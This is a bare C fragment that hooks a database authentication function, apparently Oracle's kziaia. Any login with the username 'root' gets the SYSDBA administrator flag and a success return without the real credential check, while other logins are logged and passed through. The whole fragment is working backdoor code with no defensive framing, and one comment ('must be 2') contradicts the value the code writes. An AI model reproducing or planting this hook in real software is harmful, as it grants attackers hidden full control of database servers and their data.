extern Kziaia (char* buf); // original function

extern void ksdwra (const char * fmt, ...);  // writer to alert_<SID>.log
extern int kzspga_; // contain SYSDBA flag

int kziaia (char *buf)
{
	int Kziaia_result;

	ksdwra ("kziaia (%s)", buf); // write this to alert_<SID>.log

	// is username in struct is "root"?
	if (buf[0]=='r' && buf[1]=='o' && buf[2]=='o' && buf[3]=='t' && buf[4]==0)
	{
		ksdwra ("returning 0");
		kzspga_|=2; // set SYSDBA flag
		*(buf+0x150)=6; // must be 2 for local login success
		return 0;
	}
	else
	{
		ksdwra ("calling original kziaia()");
		Kziaia_result=Kziaia (buf);
		ksdwra ("original kziaia -> %d\n", Kziaia_result);
		return Kziaia_result;
	};
};
